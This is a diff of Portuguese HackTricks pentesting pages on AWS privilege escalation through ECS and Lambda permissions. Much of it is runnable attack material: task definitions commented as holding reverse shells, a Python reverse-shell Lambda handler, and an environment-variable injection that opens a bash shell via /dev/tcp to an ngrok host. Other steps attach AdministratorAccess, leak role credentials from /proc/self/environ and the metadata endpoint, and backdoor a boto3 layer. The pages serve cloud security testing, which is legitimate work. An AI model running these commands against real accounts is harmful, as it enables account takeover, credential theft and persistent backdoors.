As IAM roles especificadas para `taskRoleArn` e `executionRoleArn` devem confiar/permitir serem assumidas pelo `ecs-tasks.amazonaws.com` em sua trust policy.
As IAM roles especificadas para `taskRoleArn` e `executionRoleArn` devem confiar/permitir que sejam assumidas por `ecs-tasks.amazonaws.com` em sua trust policy.
Além disso, o atacante precisa saber:
- Nome do ECS cluster
- Sub-rede VPC
- Security group (Se nenhum security group for especificado o default será usado)
- Nome e revisão da Task Definition
- Nome do Container
- ECS cluster name
- VPC Subnet
- Security group (Se nenhum security group for especificado, o padrão será usado)
- Task Definition Name and revision
- Name of the Container
```bash
aws ecs run-task \
--cluster <cluster-name> \
@@ -105,9 +105,9 @@ aws ecs run-task \
]
}'
```
No snippet de código acima um atacante sobrescreve apenas o valor de `taskRoleArn`. Contudo, o atacante precisa da permissão `iam:PassRole` sobre o `taskRoleArn` especificado no comando e sobre o `executionRoleArn` especificado na definição da task para que o ataque aconteça.
No trecho de código acima o atacante sobrescreve apenas o valor `taskRoleArn`. No entanto, o atacante deve ter a permissão `iam:PassRole` sobre o `taskRoleArn` especificado no comando e o `executionRoleArn` especificado na task definition para que o ataque aconteça.
Se a IAM role que o atacante pode passar tiver privilégios suficientes para baixar a imagem do ECR e iniciar a ECS task (`ecr:BatchCheckLayerAvailability`, `ecr:GetDownloadUrlForLayer`, `ecr:BatchGetImage`, `ecr:GetAuthorizationToken`), então o atacante pode especificar a mesma IAM role tanto para `executionRoleArn` quanto para `taskRoleArn` no comando `ecs run-task`.
Se a IAM role que o atacante pode passar tiver privilégios suficientes para pull da imagem do ECR e iniciar a task do ECS (`ecr:BatchCheckLayerAvailability`, `ecr:GetDownloadUrlForLayer`,`ecr:BatchGetImage`,`ecr:GetAuthorizationToken`) então o atacante pode especificar a mesma IAM role para ambos `executionRoleArn` e `taskRoleArn` no comando `ecs run-task`.
```sh
aws ecs run-task --cluster <cluster-name> --launch-type FARGATE --network-configuration "awsvpcConfiguration={subnets=[<subnet-id>],securityGroups=[<security-group-id>],assignPublicIp=ENABLED}" --task-definition <task-definition:revision> --overrides '
{
@@ -125,8 +125,8 @@ aws ecs run-task --cluster <cluster-name> --launch-type FARGATE --network-config
### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`
Assim como no exemplo anterior, um atacante que abusa das permissões **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** no ECS pode **gerar uma nova task definition** com um **container malicioso** que rouba as credenciais de metadata e **executá-lo**.\
No entanto, neste caso, é necessária uma container instance para executar a task definition maliciosa.
Assim como no exemplo anterior, um atacante que abusar das permissões **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** no ECS pode **gerar uma nova task definition** com um **container malicioso** que rouba as metadata credentials e **executá-la**.\
No entanto, neste caso, é necessário que haja uma container instance para executar a task definition maliciosa.
```bash
# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
@@ -142,12 +142,12 @@ aws ecs start-task --task-definition iam_exfiltration \
## You need to remove all the versions (:1 is enough if you just created one)
aws ecs deregister-task-definition --task-definition iam_exfiltration:1
```
**Impacto Potencial:** Direct privesc to any ECS role.
**Impacto potencial:** privesc direto para qualquer role do ECS.
### `iam:PassRole`, `ecs:RegisterTaskDefinition`, (`ecs:UpdateService|ecs:CreateService)`
Assim como no exemplo anterior, um atacante que abusar das permissões **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** ou **`ecs:CreateService`** no ECS pode **gerar uma nova definição de tarefa** com um **container malicioso** que rouba as credenciais de metadados e **executá-la criando um novo serviço com pelo menos 1 tarefa em execução.**
Assim como no exemplo anterior, um atacante que abuse das permissões **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** ou **`ecs:CreateService`** no ECS pode **gerar uma nova task definition** com um **container malicioso** que rouba as metadata credentials e **executá-la criando um novo service com pelo menos 1 task em execução.**
```bash
# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
@@ -170,11 +170,11 @@ aws ecs update-service --cluster <CLUSTER NAME> \
--service <SERVICE NAME> \
--task-definition <NEW TASK DEFINITION NAME>
```
**Impacto Potencial:** privesc direto para qualquer ECS role.
**Impacto Potencial:** Privesc direto para qualquer ECS role.
### `iam:PassRole`, (`ecs:UpdateService|ecs:CreateService)`
### `iam:PassRole`, (`ecs:UpdateService|ecs:CreateService)`
Na verdade, apenas com essas permissões é possível usar overrides para executar comandos arbitrários em um container com uma role arbitrária, com algo como:
Na verdade, apenas com essas permissões é possível usar overrides para executar comandos arbitrários em um container com um role arbitrário com algo como:
```bash
aws ecs run-task \
--task-definition "<task-name>" \
@@ -182,13 +182,13 @@ aws ecs run-task \
--cluster <cluster-name> \
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"DISABLED\", \"subnets\":[\"<subnet-name>\"]}}"
```
**Impacto Potencial:** Privesc direto para qualquer ECS role.
**Impacto Potencial:** Privesc direto para qualquer role do ECS.
### `ecs:RegisterTaskDefinition`, **`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`**
Este cenário é parecido com os anteriores, mas **sem** a permissão **`iam:PassRole`**.\
Isso ainda é interessante porque, se você conseguir executar um container arbitrário, mesmo que seja sem um role, você poderia **executar um container privilegiado para escapar** para o node e **roubar o EC2 IAM role** e as **outras roles dos containers ECS** em execução no node.\
Você poderia até **forçar outras tasks a serem executadas dentro da instância EC2** que você compromete para roubar suas credenciais (como discutido na [**Privesc to node section**](aws-ecs-post-exploitation/README.md#privesc-to-node)).
Este cenário é como os anteriores mas **sem** a permissão **`iam:PassRole`**.\
Ainda assim é interessante porque, se você conseguir executar um container arbitrário, mesmo sem um role, você poderia **executar um container privilegiado para escapar** para o nó e **roubar o EC2 IAM role** e os **outros roles de containers do ECS** rodando no nó.\
Você poderia até **forçar outras tasks a serem executadas dentro da instância EC2** que você comprometer para roubar suas credenciais (como discutido na [**Privesc to node section**](aws-ecs-post-exploitation/README.md#privesc-to-node)).
> [!WARNING]
> Este ataque só é possível se o **ECS cluster estiver usando instâncias EC2** e não Fargate.
@@ -234,12 +234,12 @@ aws ecs run-task --task-definition iam_exfiltration \
```
### `ecs:ExecuteCommand`, `ecs:DescribeTasks,`**`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`**
Um atacante com as permissões **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** pode **executar comandos** dentro de um container em execução e exfiltrar a IAM role anexada a ele (você precisa das permissões describe porque são necessárias para executar `aws ecs execute-command`).\
No entanto, para isso, a instância do container precisa estar executando o **agente ExecuteCommand** (que por padrão não está).
Um atacante com as permissões **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** pode **executar comandos** dentro de um container em execução e exfiltrar a IAM role anexada a ele (você precisa das permissões de describe porque é necessário executar `aws ecs execute-command`).\
No entanto, para fazer isso, a container instance precisa estar executando o **ExecuteCommand agent** (que por padrão não está).
Portanto, o atacante poderia tentar:
- **Tentar executar um comando** em cada container em execução
- **Tentar executar um comando** em todos os containers em execução
```bash
# List enableExecuteCommand on each task
for cluster in $(aws ecs list-clusters | jq .clusterArns | grep '"' | cut -d '"' -f2); do
@@ -262,13 +262,13 @@ aws ecs execute-command --interactive \
- Se ele tiver **`ecs:CreateService`**, crie um service com `aws ecs create-service --enable-execute-command [...]`
- Se ele tiver **`ecs:UpdateService`**, atualize um service com `aws ecs update-service --enable-execute-command [...]`
Você pode encontrar **exemplos dessas opções** nas **seções anteriores de ECS privesc**.
Você pode encontrar **exemplos dessas opções** nas **seções anteriores de privesc do ECS**.
**Impacto Potencial:** Privesc para uma role diferente anexada aos containers.
**Impacto Potencial:** Privesc para um role diferente associado aos containers.
### `ssm:StartSession`
Consulte a **página ssm privesc** para ver como você pode abusar dessa permissão para **privesc to ECS**:
Veja na **ssm privesc page** como você pode abusar dessa permissão para **privesc para ECS**:
{{#ref}}
../aws-ssm-privesc/README.md
@@ -276,7 +276,7 @@ Consulte a **página ssm privesc** para ver como você pode abusar dessa permiss
### `iam:PassRole`, `ec2:RunInstances`
Consulte a **página ec2 privesc** para ver como você pode abusar dessas permissões para **privesc to ECS**:
Veja na **ec2 privesc page** como você pode abusar dessas permissões para **privesc para ECS**:
{{#ref}}
../aws-ec2-privesc/README.md
@@ -284,7 +284,7 @@ Consulte a **página ec2 privesc** para ver como você pode abusar dessas permis
### `ecs:RegisterContainerInstance`, `ecs:DeregisterContainerInstance`, `ecs:StartTask`, `iam:PassRole`
Um atacante com essas permissões poderia potencialmente registrar uma instância EC2 em um cluster ECS e executar tasks nela. Isso poderia permitir que o atacante executasse código arbitrário no contexto das tasks do ECS.
Um atacante com essas permissões poderia potencialmente registrar uma instância EC2 em um cluster ECS e executar tasks nela. Isso poderia permitir que o atacante execute código arbitrário no contexto das tasks do ECS.
- TODO: É possível registrar uma instância de uma conta AWS diferente para que as tasks sejam executadas em máquinas controladas pelo atacante??
@@ -293,7 +293,7 @@ Um atacante com essas permissões poderia potencialmente registrar uma instânci
> [!NOTE]
> TODO: Testar isto
Um atacante com as permissões `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, e `ecs:DescribeTaskSets` pode **criar um task set malicioso para um service ECS existente e atualizar o task set primário**. Isso permite que o atacante **execute código arbitrário dentro do serviço**.
Um atacante com as permissões `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet` e `ecs:DescribeTaskSets` pode **criar um task set malicioso para um serviço ECS existente e atualizar o primary task set**. Isso permite que o atacante **execute código arbitrário dentro do serviço**.
```bash
# Register a task definition with a reverse shell
echo '{
@@ -325,7 +325,7 @@ aws ecs update-service-primary-task-set --cluster existing-cluster --service exi
- [https://ruse.tech/blogs/ecs-attack-methods](https://ruse.tech/blogs/ecs-attack-methods)
{{#include ../../../../banners/hacktricks-training.md}}
@@ -333,7 +333,7 @@ aws ecs update-service-primary-task-set --cluster existing-cluster --service exi
### Hijack ECS Scheduling via Malicious Capacity Provider (EC2 ASG takeover)
Um atacante com permissões para gerenciar ECS capacity providers e atualizar services pode criar um EC2 Auto Scaling Group que controla, envolvê-lo em um ECS Capacity Provider, associá-lo ao cluster alvo e migrar um serviço vítima para usar esse provider. As tasks então serão agendadas em instâncias EC2 controladas pelo atacante, permitindo acesso a nível de SO para inspecionar containers e roubar task role credentials.
Um atacante com permissões para gerenciar ECS capacity providers e atualizar serviços pode criar um EC2 Auto Scaling Group que ele controla, envolvê-lo em um ECS Capacity Provider, associá-lo ao cluster alvo e migrar um serviço da vítima para usar esse provider. As tasks serão então agendadas em instâncias EC2 controladas pelo atacante, permitindo acesso a nível de SO para inspecionar containers e roubar credenciais de task role.
Commands (us-east-1):
@@ -341,7 +341,7 @@ Commands (us-east-1):
- Criar Launch Template para o ECS agent se juntar ao cluster alvo
- Criar Launch Template para o ECS agent entrar no cluster alvo
@@ -353,25 +353,25 @@ Commands (us-east-1):
- Associar o Capacity Provider ao cluster (opcionalmente como default)
- Associar o Capacity Provider ao cluster (opcionalmente como padrão)
- Migrar um service para o seu provider
- Migrar um serviço para o seu provider
- Verificar se as tasks caem em instâncias controladas pelo atacante
- Verificar se as tasks são executadas nas instâncias do atacante
- Opcional: Do nó EC2, docker exec nos containers alvo e ler http://169.254.170.2 para obter as task role credentials.
- Opcional: a partir do nó EC2, docker exec nos containers alvo e ler http://169.254.170.2 para obter as credenciais do task role.
- Limpeza
**Impacto Potencial:** Instâncias EC2 controladas pelo atacante recebem as tasks da vítima, permitindo acesso a nível de SO aos containers e roubo das task IAM role credentials.
**Impacto Potencial:** Nós EC2 controlados pelo atacante recebem as tasks da vítima, habilitando acesso a nível de SO aos containers e roubo das credenciais do IAM task role.
<details>
@@ -410,15 +410,15 @@ aws ecs describe-container-instances --cluster "" --container-instances "" --que
### Backdoor compute in-cluster via ECS Anywhere EXTERNAL registration
Abusar do ECS Anywhere para registrar um host controlado pelo atacante como uma EXTERNAL container instance em um ECS cluster vítima e executar tasks nesse host usando task e execution roles privilegiadas. Isso concede controle a nível de SO sobre onde as tasks rodam (sua própria máquina) e permite o roubo de credenciais/dados das tasks e volumes anexados sem tocar em capacity providers ou ASGs.
Abusar do ECS Anywhere para registrar um host controlado pelo atacante como uma EXTERNAL container instance em um cluster ECS da vítima e executar tasks nesse host usando task e execution roles privilegiadas. Isso concede controle a nível de SO sobre onde as tasks são executadas (sua própria máquina) e permite o roubo de credenciais/dados das tasks e volumes anexados sem mexer em capacity providers ou ASGs.
- Permissões necessárias (exemplo mínimo):
- ecs:CreateCluster (optional), ecs:RegisterTaskDefinition, ecs:StartTask or ecs:RunTask
- Permissões requeridas (exemplo mínimo):
- ecs:CreateCluster (opcional), ecs:RegisterTaskDefinition, ecs:StartTask ou ecs:RunTask
- ssm:CreateActivation, ssm:DeregisterManagedInstance, ssm:DeleteActivation
- iam:CreateRole, iam:AttachRolePolicy, iam:DeleteRole, iam:PassRole (para o instance role do ECS Anywhere e os task/execution roles)
- logs:CreateLogGroup/Stream, logs:PutLogEvents (se usando awslogs)
- iam:CreateRole, iam:AttachRolePolicy, iam:DeleteRole, iam:PassRole (para a ECS Anywhere instance role e task/execution roles)
- logs:CreateLogGroup/Stream, logs:PutLogEvents (se estiver usando awslogs)
- Impacto: Executar containers arbitrários com taskRoleArn escolhido no host do atacante; exfiltrar task-role credentials de 169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI; acessar quaisquer volumes montados pelas tasks; mais furtivo do que manipular capacity providers/ASGs.
- Impacto: Executar containers arbitrários com um taskRoleArn escolhido no host do atacante; exfiltrar credenciais do task-role de 169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI; acessar quaisquer volumes montados pelas tasks; mais furtivo do que manipular capacity providers/ASGs.
Passos
@@ -435,7 +435,7 @@ aws iam attach-role-policy --role-name ecsAnywhereRole --policy-arn arn:aws:iam:
ACTJSON=$(aws ssm create-activation --iam-role ecsAnywhereRole)
ACT_ID=$(echo $ACTJSON | jq -r .ActivationId); ACT_CODE=$(echo $ACTJSON | jq -r .ActivationCode)
```
3) Provisionar attacker host e auto-registrá-lo como EXTERNAL (exemplo: small AL2 EC2 como “on‑prem”)
3) Provisionar attacker host e registá-lo automaticamente como EXTERNAL (exemplo: small AL2 EC2 como “on‑prem”)
<details>
<summary>user-data.sh</summary>
@@ -463,7 +463,7 @@ aws ecs describe-container-instances --cluster ht-ecs-anywhere \
--container-instances <ci-arn> --query 'containerInstances[0].[ec2InstanceId,attributes]'
# ec2InstanceId will be mi-XXXXXXXX (SSM managed instance id) and attributes include ecs.capability.external
```
5) Criar task/execution roles, registrar task definition EXTERNAL e executá-la no attacker host
5) Criar task/execution roles, registrar a EXTERNAL task definition e executá-la no host atacante
```bash
# roles
aws iam create-role --role-name ht-ecs-task-exec \
@@ -499,7 +499,7 @@ CI=$(aws ecs list-container-instances --cluster ht-ecs-anywhere --query 'contain
aws ecs start-task --cluster ht-ecs-anywhere --task-definition ht-external \
--container-instances $CI
```
6) A partir daqui você controla o host que executa as tasks. Você pode ler os logs das tasks (se awslogs) ou executar diretamente no host para exfiltrar credenciais/dados das tasks.
6) A partir daqui você controla o host que executa as tasks. Você pode ler task logs (se awslogs) ou executar diretamente no host para exfiltrar credenciais/dados das suas tasks.
@@ -510,15 +510,15 @@ aws ecs start-task --cluster ht-ecs-anywhere --task-definition ht-external \
### Hijack ECS Scheduling via Malicious Capacity Provider (EC2 ASG takeover)
Um atacante com permissões para gerenciar ECS capacity providers e atualizar services pode criar um EC2 Auto Scaling Group que controla, envolvê-lo em um ECS Capacity Provider, associá-lo ao cluster alvo e migrar um service vítima para usar esse provider. Tasks então serão agendadas em instâncias EC2 controladas pelo atacante, permitindo acesso a nível de SO para inspecionar containers e roubar task role credentials.
Um atacante com permissões para gerenciar ECS capacity providers e atualizar services pode criar um EC2 Auto Scaling Group que ele controla, envolvê-lo em um ECS Capacity Provider, associá-lo ao cluster alvo e migrar um serviço vítima para usar esse provider. As tasks serão então agendadas em instâncias EC2 controladas pelo atacante, permitindo acesso a nível de SO para inspecionar containers e roubo das task role credentials.
Commands (us-east-1):
Comandos (us-east-1):
- Pré-requisitos
- Criar Launch Template para o ECS agent entrar no cluster alvo
- Criar Launch Template para o ECS agent se juntar ao cluster alvo
@@ -538,14 +538,15 @@ Commands (us-east-1):
- Verificar se as tasks caem em instâncias controladas pelo atacante
- Verificar se as tasks são iniciadas nas instâncias do atacante
- Opcional: A partir do EC2 node, docker exec nos containers alvo e leia http://169.254.170.2 para obter os task role credentials.
- Opcional: a partir do nó EC2, docker exec nos containers alvo e leia http://169.254.170.2 para obter as task role credentials.
- Limpeza
- Cleanup
**Impacto Potencial:** EC2 nodes controlados pelo atacante recebem tasks da vítima, possibilitando acesso a nível de SO aos containers e o roubo das credenciais da task (IAM role).
**Impacto Potencial:** Instâncias EC2 controladas pelo atacante recebem tasks de vítimas, permitindo acesso a nível de SO aos containers e roubo das task IAM role credentials.
{{#include ../../../../banners/hacktricks-training.md}}

105
src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc/README.md
View File

@@ -13,10 +13,10 @@ Mais informações sobre lambda em:
### `iam:PassRole`, `lambda:CreateFunction`, (`lambda:InvokeFunction` | `lambda:InvokeFunctionUrl`)
Usuários com as permissões **`iam:PassRole`, `lambda:CreateFunction` e `lambda:InvokeFunction`** podem escalar seus privilégios.\
Eles podem **criar uma nova função Lambda e atribuir a ela uma IAM role existente**, concedendo à função as permissões associadas a essa IAM role. O usuário pode então **escrever e fazer upload de código para essa função Lambda (por exemplo, com um rev shell)**.\
Uma vez que a função esteja configurada, o usuário pode **disparar sua execução** e as ações pretendidas invocando a função Lambda através da AWS API. Essa abordagem permite efetivamente que o usuário execute tarefas indiretamente através da função Lambda, operando com o nível de acesso concedido à IAM role associada a ela.\\
Eles podem **criar uma nova função Lambda e atribuir a ela um IAM role existente**, concedendo à função as permissões associadas a esse role. O usuário pode então **escrever e enviar (upload) o código para essa função Lambda (por exemplo, com um rev shell)**.\
Uma vez que a função esteja configurada, o usuário pode **acionar sua execução** e as ações desejadas invocando a função Lambda através da API AWS. Essa abordagem permite ao usuário executar tarefas indiretamente através da função Lambda, operando com o nível de acesso concedido ao IAM role associado a ela.\\
Um atacante pode abusar disso para obter um **rev shell e roubar o token**:
Um atacante poderia abusar disso para obter um **rev shell e roubar o token**:
```python:rev.py
import socket,subprocess,os,time
def lambda_handler(event, context):
@@ -46,8 +46,8 @@ aws lambda invoke --function-name my_function output.txt
# List roles
aws iam list-attached-user-policies --user-name <user-name>
```
Você também poderia **abuse the lambda role permissions** a partir da própria lambda function.
Se a lambda role tivesse permissões suficientes, você poderia usá-la para conceder direitos de administrador a si mesmo:
Você também poderia **abuse the lambda role permissions** a partir da própria função lambda.\
Se a lambda role tivesse permissions suficientes, você poderia usá-la para grant admin rights a você:
```python
import boto3
def lambda_handler(event, context):
@@ -58,7 +58,7 @@ PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'
)
return response
```
Também é possível leak as credentials da role da lambda sem precisar de uma conexão externa. Isso seria útil para Network isolated Lambdas usadas em tarefas internas. Se houver security groups desconhecidos filtrando seus reverse shells, este trecho de código permitirá que você leak diretamente as credentials como a saída da lambda.
Também é possível leak as credenciais da role da lambda sem precisar de uma conexão externa. Isso seria útil para **Network isolated Lambdas** usadas em tarefas internas. Se existirem security groups desconhecidos filtrando seus reverse shells, este trecho de código permitirá que você faça o leak das credenciais diretamente como a saída da lambda.
```python
def handler(event, context):
sessiontoken = open('/proc/self/environ', "r").read()
@@ -72,10 +72,10 @@ return {
aws lambda invoke --function-name <lambda_name> output.txt
cat output.txt
```
**Impacto Potencial:** Privesc direto para o role de serviço lambda arbitrário especificado.
**Impacto Potencial:** Privesc direto para a função de serviço lambda arbitrária especificada.
> [!CAUTION]
> Observe que, mesmo que possa parecer interessante, **`lambda:InvokeAsync`** **não** permite por si só **executar `aws lambda invoke-async`**, você também precisa de `lambda:InvokeFunction`
> Observe que, mesmo que possa parecer interessante, **`lambda:InvokeAsync`** **não** permite por si só executar **`aws lambda invoke-async`**, você também precisa de `lambda:InvokeFunction`
### `iam:PassRole`, `lambda:CreateFunction`, `lambda:AddPermission`
@@ -85,21 +85,21 @@ Como no cenário anterior, você pode **conceder a si mesmo a permissão `lambda
aws --profile "$NON_PRIV_PROFILE_USER" lambda add-permission --function-name my_function \
--action lambda:InvokeFunction --statement-id statement_privesc --principal "$NON_PRIV_PROFILE_USER_ARN"
```
**Impacto Potencial:** Privesc direto para a função de serviço do Lambda arbitrária especificada.
**Impacto Potencial:** Privesc direto para a lambda service role arbitrária especificada.
### `iam:PassRole`, `lambda:CreateFunction`, `lambda:CreateEventSourceMapping`
Usuários com permissões **`iam:PassRole`, `lambda:CreateFunction` e `lambda:CreateEventSourceMapping`** (e potencialmente `dynamodb:PutItem` e `dynamodb:CreateTable`) podem indiretamente **escalar privilégios** mesmo sem `lambda:InvokeFunction`.\
Eles podem criar uma **função Lambda com código malicioso e atribuir a ela uma role IAM existente**.
Usuários com permissões **`iam:PassRole`, `lambda:CreateFunction`, and `lambda:CreateEventSourceMapping`** (e potencialmente `dynamodb:PutItem` e `dynamodb:CreateTable`) podem indiretamente **escalar privilégios** mesmo sem `lambda:InvokeFunction`.\
Eles podem criar uma **Lambda function com código malicioso e atribuí-la a um IAM role existente**.
Ao invés de invocar o Lambda diretamente, o usuário configura ou utiliza uma tabela DynamoDB existente, vinculando-a ao Lambda por meio de um event source mapping. Essa configuração garante que a função Lambda seja **acionada automaticamente quando um novo item** for inserido na tabela, seja pela ação do usuário ou por outro processo, invocando indiretamente a função Lambda e executando o código com as permissões da role IAM passada.
Em vez de invocar o Lambda diretamente, o usuário configura ou utiliza uma tabela DynamoDB existente, vinculando-a ao Lambda através de um event source mapping. Essa configuração garante que a Lambda function seja **disparada automaticamente quando um novo item** for inserido na tabela, seja pela ação do usuário ou por outro processo, invocando indiretamente a Lambda function e executando o código com as permissões do IAM role passado.
```bash
aws lambda create-function --function-name my_function \
--runtime python3.8 --role <arn_of_lambda_role> \
--handler lambda_function.lambda_handler \
--zip-file fileb://rev.zip
```
Se o DynamoDB já estiver ativo no ambiente AWS, o usuário precisa apenas **estabelecer o event source mapping** para a função Lambda. No entanto, se o DynamoDB não estiver em uso, o usuário deve **criar uma nova tabela** com streaming habilitado:
Se o DynamoDB já estiver ativo no ambiente AWS, o usuário apenas **precisa estabelecer o mapeamento de origem de eventos** para a função Lambda. No entanto, se o DynamoDB não estiver em uso, o usuário deve **criar uma nova tabela** com streaming habilitado:
```bash
aws dynamodb create-table --table-name my_table \
--attribute-definitions AttributeName=Test,AttributeType=S \
@@ -107,22 +107,22 @@ aws dynamodb create-table --table-name my_table \
--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES
```
Agora é possível **conectar a função Lambda à tabela DynamoDB** ao **criar um event source mapping**:
Agora é possível **conectar a Lambda function à DynamoDB table** ao **criar um event source mapping**:
```bash
aws lambda create-event-source-mapping --function-name my_function \
--event-source-arn <arn_of_dynamodb_table_stream> \
--enabled --starting-position LATEST
```
Com a função Lambda vinculada ao DynamoDB stream, o atacante pode **acionar indiretamente a Lambda ao ativar o DynamoDB stream**. Isso pode ser realizado **inserindo um item** na tabela do DynamoDB:
Com a função Lambda vinculada ao DynamoDB stream, o attacker pode **indiretamente acionar a Lambda ativando o DynamoDB stream**. Isso pode ser realizado **inserindo um item** na tabela DynamoDB:
```bash
aws dynamodb put-item --table-name my_table \
--item Test={S="Random string"}
```
**Impacto Potencial:** Privesc direto para o service role do lambda especificado.
**Impacto Potencial:** Privesc direto para a função de serviço do lambda especificada.
### `lambda:AddPermission`
Um atacante com essa permissão pode **conceder a si mesmo (ou a outros) qualquer permissão** (isso gera políticas baseadas em recursos para conceder acesso ao recurso):
Um atacante com essa permissão pode **conceder a si mesmo (ou a outros) quaisquer permissões** (isso gera políticas baseadas em recursos para conceder acesso ao recurso):
```bash
# Give yourself all permissions (you could specify granular such as lambda:InvokeFunction or lambda:UpdateFunctionCode)
aws lambda add-permission --function-name <func_name> --statement-id asdasd --action '*' --principal arn:<your user arn>
@@ -130,11 +130,11 @@ aws lambda add-permission --function-name <func_name> --statement-id asdasd --ac
# Invoke the function
aws lambda invoke --function-name <func_name> /tmp/outout
```
**Impacto Potencial:** Privesc direto para a função de serviço do lambda usada ao conceder permissão para modificar o código e executá-lo.
**Impacto Potencial:** Escalada direta de privilégios para a role de serviço do lambda ao conceder permissão para modificar o código e executá-lo.
### `lambda:AddLayerVersionPermission`
Um atacante com essa permissão pode **conceder a si mesmo (ou a outros) a permissão `lambda:GetLayerVersion`**. Ele poderia acessar a camada e procurar por vulnerabilidades ou informações sensíveis
Um atacante com essa permissão pode **conceder a si mesmo (ou a outros) a permissão `lambda:GetLayerVersion`**. Ele poderia acessar a layer e procurar por vulnerabilidades ou informações sensíveis
```bash
# Give everyone the permission lambda:GetLayerVersion
aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1 --principal '*' --action lambda:GetLayerVersion
@@ -143,10 +143,10 @@ aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statemen
### `lambda:UpdateFunctionCode`
Usuários com a permissão **`lambda:UpdateFunctionCode`** têm o potencial de **modificar o código de uma função Lambda existente que está vinculada a um role do IAM.**\
O atacante pode **modificar o código da Lambda para exfiltrate as credenciais do IAM**.
Usuários que possuem a permissão **`lambda:UpdateFunctionCode`** têm o potencial de **modificar o código de uma Lambda function existente que está vinculada a um IAM role.**\
O atacante pode **modificar o código da lambda para exfiltrar as IAM credentials**.
Embora o atacante possa não ter a capacidade direta de invocar a função, se a função Lambda já existir e estiver operacional, é provável que ela seja acionada por fluxos de trabalho ou eventos existentes, facilitando assim indiretamente a execução do código modificado.
Apesar de o atacante talvez não ter a capacidade direta de invocar a função, se a Lambda function já existir e estiver operacional, é provável que ela seja acionada por fluxos de trabalho ou eventos existentes, facilitando assim indiretamente a execução do código modificado.
```bash
# The zip should contain the lambda code (trick: Download the current one and add your code there)
aws lambda update-function-code --function-name target_function \
@@ -157,27 +157,27 @@ aws lambda invoke --function-name my_function output.txt
# If not check if it's exposed in any URL or via an API gateway you could access
```
**Impacto Potencial:** privesc direto para o service role usado pela função Lambda.
**Impacto Potencial:** Privesc direto para a lambda service role usada.
### `lambda:UpdateFunctionConfiguration`
#### RCE via variáveis de ambiente
#### RCE via env variables
Com essa permissão é possível adicionar variáveis de ambiente que farão com que a função Lambda execute código arbitrário. Por exemplo, em python é possível abusar das variáveis de ambiente `PYTHONWARNING` e `BROWSER` para fazer um processo python executar comandos arbitrários:
Com essas permissões é possível adicionar environment variables que farão a Lambda executar código arbitrário. Por exemplo, em python é possível abusar das environment variables `PYTHONWARNING` e `BROWSER` para fazer um processo python executar comandos arbitrários:
```bash
aws --profile none-priv lambda update-function-configuration --function-name <func-name> --environment "Variables={PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=\"/bin/bash -c 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18755 0>&1' & #%s\"}"
```
Para outras linguagens de script, existem outras variáveis de ambiente que você pode usar. Para mais informações, consulte as subseções de linguagens de script em:
Para outras linguagens de script existem outras env variables que você pode usar. Para mais informações, consulte as subseções de linguagens de script em:
{{#ref}}
https://book.hacktricks.wiki/en/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/index.html
{{#endref}}
#### RCE via Lambda Layers
#### RCE através de Lambda Layers
[**Lambda Layers**](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) permite incluir **code** na sua lamdba function, mas **storing it separately**, de modo que o código da função pode permanecer pequeno e **several functions can share code**.
[**Lambda Layers**](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) permite incluir **code** na sua função Lambda, mas **armazenando-o separadamente**, assim o code da função pode permanecer pequeno e **várias funções podem compartilhar code**.
Dentro do lambda você pode verificar os caminhos de onde o python code é carregado com uma função como a seguinte:
Dentro do Lambda, você pode verificar os caminhos de onde o python carrega o code usando uma função como a seguinte:
```python
import json
import sys
@@ -198,20 +198,20 @@ Estes são os locais:
9. /opt/python/lib/python3.7/site-packages
10. /opt/python
Por exemplo, a biblioteca boto3 é carregada de `/var/runtime/boto3` (4th position).
Por exemplo, a biblioteca boto3 é carregada de `/var/runtime/boto3` (4ª posição).
#### Exploração
#### Exploitation
É possível abusar da permissão `lambda:UpdateFunctionConfiguration` para **add a new layer** a uma função lambda. Para executar código arbitrário essa layer precisa conter alguma **library que o lambda vai importar.** Se você puder ler o código do lambda, pode encontrar isso facilmente; também note que pode ser possível que o lambda já esteja **already using a layer** e você possa **download** a layer e **add your code** nela.
É possível abusar da permissão `lambda:UpdateFunctionConfiguration` para **add a new layer** a uma função lambda. Para executar código arbitrário, essa layer precisa conter alguma **library that the lambda is going to import.** Se você puder ler o código da lambda, pode encontrar isso facilmente; note também que pode ser possível que a lambda esteja **already using a layer** e que você poderia **download** a layer e **add your code** lá dentro.
Por exemplo, suponha que o lambda esteja usando a biblioteca boto3; isso criará uma layer local com a versão mais recente da biblioteca:
Por exemplo, suponha que a lambda esteja usando a biblioteca boto3; isso criará uma layer local com a última versão da biblioteca:
```bash
pip3 install -t ./lambda_layer boto3
```
Você pode abrir `./lambda_layer/boto3/__init__.py` e **adicionar a backdoor no código global** (a function to exfiltrate credentials or get a reverse shell for example).
Você pode abrir `./lambda_layer/boto3/__init__.py` e **adicionar a backdoor no código global** (uma função para exfiltrate credentials ou obter um reverse shell, por exemplo).
